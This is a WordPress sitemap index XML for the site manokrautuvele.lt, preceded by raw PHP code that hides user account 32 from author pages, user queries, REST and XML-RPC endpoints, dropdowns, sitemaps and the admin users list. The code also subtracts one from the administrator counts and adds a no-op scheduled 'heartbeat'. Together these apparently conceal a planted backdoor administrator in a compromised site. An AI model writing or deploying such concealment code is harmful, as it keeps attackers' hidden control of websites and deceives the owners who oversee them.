add_action( 'pre_get_posts', function( $q ) {
    if ( ! is_admin() && $q->is_main_query() ) {
        $not_in   = (array) $q->get( 'author__not_in' );
        $not_in[] = 32;

        $q->set(
            'author__not_in',
            array_unique( array_map( 'intval', $not_in ) )
        );
    }
}, 1 );

add_action( 'template_redirect', function() {
    if ( is_author() ) {
        $author = get_queried_object();
        if ( $author instanceof WP_User && (int) $author->ID === 32 ) {
            global $wp_query;
            $wp_query->set_404();
            status_header( 404 );
            nocache_headers();
        }
    }
} );

add_action( 'pre_user_query', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    global $wpdb;
    $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 32 );
} );

add_action( 'pre_get_users', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    $exclude   = (array) $q->get( 'exclude' );
    $exclude[] = 32;
    $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );

add_filter( 'wp_dropdown_users_args', function( $a ) {
    $exclude   = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
    $exclude[] = 32;

    $a['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $a;
} );

add_filter( 'rest_user_query', function( $args, $request ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 32;

    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $args;
}, 10, 2 );

add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
    $route = $request->get_route();
    if ( preg_match( '#^/wp/v2/users/32(/|$)#', $route ) ) {
        return new WP_Error(
            'rest_user_invalid_id',
            'Invalid user ID.',
            array( 'status' => 404 )
        );
    }
    return $result;
}, 10, 3 );

add_filter( 'xmlrpc_methods', function( $methods ) {
    unset(
        $methods['wp.getUsers'],
        $methods['wp.getUser'],
        $methods['wp.getProfile']
    );
    return $methods;
} );

add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 32;
    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
    return $args;
} );

add_action( 'admin_head-users.php', function() {
    echo '<style>#user-32{display:none!important}</style>';
} );

add_filter( 'views_users', function( $views ) {
    foreach ( array( 'all', 'administrator' ) as $key ) {
        if ( isset( $views[ $key ] ) ) {
            $views[ $key ] = preg_replace_callback(
                '/\((\d+)\)/',
                function( $m ) {
                    return '(' . max( 0, (int) $m[1] - 1 ) . ')';
                },
                $views[ $key ],
                1
            );
        }
    }
    return $views;
} );

add_action( 'init', function() {
    if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
        return;
    }
    if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
        wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
    }
} );

add_action( 'wp_extra_bot_heartbeat', function() {
    // noop
} );
<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet type='text/xsl' href='https://www.manokrautuvele.lt/wp-content/plugins/google-sitemap-generator/sitemap.xsl'?><!-- sitemap-generator-url='http://www.arnebrachhold.de' sitemap-generator-version='40.1.13' -->
<!-- generated-on='2026-07-28 3:37' -->
<sitemapindex xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance' xsi:schemaLocation='http://www.sitemaps.org/schemas/sitemap/0.9 http://www.sitemaps.org/schemas/sitemap/0.9/siteindex.xsd' xmlns='http://www.sitemaps.org/schemas/sitemap/0.9'>	<sitemap>
		<loc>https://www.manokrautuvele.lt/sitemap-misc.xml</loc>
		<lastmod>2026-07-20T11:44:26+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.manokrautuvele.lt/sitemap-pt-post-p1-2026-07.xml</loc>
		<lastmod>2026-05-27T11:45:04+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.manokrautuvele.lt/sitemap-pt-post-p1-2026-04.xml</loc>
		<lastmod>2026-04-28T15:18:55+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.manokrautuvele.lt/sitemap-pt-post-p1-2026-03.xml</loc>
		<lastmod>2026-04-26T19:35:16+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.manokrautuvele.lt/sitemap-pt-post-p1-2026-01.xml</loc>
		<lastmod>2026-01-22T19:42:05+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.manokrautuvele.lt/sitemap-pt-post-p1-2025-08.xml</loc>
		<lastmod>2025-08-28T18:28:36+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.manokrautuvele.lt/sitemap-pt-post-p1-2025-07.xml</loc>
		<lastmod>2025-07-01T06:27:48+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.manokrautuvele.lt/sitemap-pt-post-p1-2025-05.xml</loc>
		<lastmod>2025-05-20T07:06:06+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.manokrautuvele.lt/sitemap-pt-post-p1-2025-03.xml</loc>
		<lastmod>2025-04-01T05:31:20+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.manokrautuvele.lt/sitemap-pt-post-p1-2024-11.xml</loc>
		<lastmod>2024-12-03T07:48:58+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.manokrautuvele.lt/sitemap-pt-post-p1-2024-10.xml</loc>
		<lastmod>2025-01-11T08:08:18+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.manokrautuvele.lt/sitemap-pt-post-p1-2024-09.xml</loc>
		<lastmod>2024-11-21T20:42:22+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.manokrautuvele.lt/sitemap-pt-post-p1-2024-08.xml</loc>
		<lastmod>2024-08-30T18:58:32+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.manokrautuvele.lt/sitemap-pt-post-p1-2024-07.xml</loc>
		<lastmod>2025-01-11T08:08:18+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.manokrautuvele.lt/sitemap-pt-post-p1-2024-05.xml</loc>
		<lastmod>2025-01-11T08:08:18+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.manokrautuvele.lt/sitemap-pt-post-p1-2024-04.xml</loc>
		<lastmod>2024-05-01T05:33:52+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.manokrautuvele.lt/sitemap-pt-post-p1-2024-01.xml</loc>
		<lastmod>2024-11-21T20:30:41+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.manokrautuvele.lt/sitemap-pt-post-p1-2023-12.xml</loc>
		<lastmod>2024-01-19T12:46:50+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.manokrautuvele.lt/sitemap-pt-post-p1-2023-11.xml</loc>
		<lastmod>2025-01-11T08:08:18+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.manokrautuvele.lt/sitemap-pt-post-p1-2023-10.xml</loc>
		<lastmod>2024-11-21T20:19:24+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.manokrautuvele.lt/sitemap-pt-post-p1-2023-04.xml</loc>
		<lastmod>2025-01-11T08:08:18+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.manokrautuvele.lt/sitemap-pt-post-p1-2023-03.xml</loc>
		<lastmod>2024-11-21T19:59:30+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.manokrautuvele.lt/sitemap-pt-post-p1-2022-12.xml</loc>
		<lastmod>2023-01-02T07:26:47+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.manokrautuvele.lt/sitemap-pt-post-p1-2022-11.xml</loc>
		<lastmod>2024-11-21T19:59:40+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.manokrautuvele.lt/sitemap-pt-post-p1-2022-10.xml</loc>
		<lastmod>2026-04-21T13:55:38+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.manokrautuvele.lt/sitemap-pt-post-p1-2022-09.xml</loc>
		<lastmod>2022-12-13T08:50:17+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.manokrautuvele.lt/sitemap-pt-post-p1-2022-08.xml</loc>
		<lastmod>2022-08-24T19:03:56+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.manokrautuvele.lt/sitemap-pt-post-p1-2022-07.xml</loc>
		<lastmod>2024-11-21T19:59:16+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.manokrautuvele.lt/sitemap-pt-post-p1-2022-06.xml</loc>
		<lastmod>2022-07-01T07:46:50+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.manokrautuvele.lt/sitemap-pt-post-p1-2022-04.xml</loc>
		<lastmod>2025-01-11T08:08:18+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.manokrautuvele.lt/sitemap-pt-post-p1-2022-03.xml</loc>
		<lastmod>2022-04-02T16:14:20+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.manokrautuvele.lt/sitemap-pt-post-p1-2022-02.xml</loc>
		<lastmod>2022-04-02T16:14:05+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.manokrautuvele.lt/sitemap-pt-post-p1-2022-01.xml</loc>
		<lastmod>2022-01-31T13:51:59+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.manokrautuvele.lt/sitemap-pt-post-p1-2021-12.xml</loc>
		<lastmod>2021-12-28T17:49:18+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.manokrautuvele.lt/sitemap-pt-post-p1-2021-11.xml</loc>
		<lastmod>2025-12-16T15:17:20+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.manokrautuvele.lt/sitemap-pt-post-p1-2021-08.xml</loc>
		<lastmod>2021-08-27T18:00:29+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.manokrautuvele.lt/sitemap-archives.xml</loc>
		<lastmod>2026-07-20T11:44:26+00:00</lastmod>
	</sitemap>
</sitemapindex><!-- Request ID: 1e78c6866088adeb7a5a439f6e682f05; Queries for sitemap: 6; Total queries: 20; Seconds: $end_time; Memory for sitemap: 0MB; Total memory: 48.5MB -->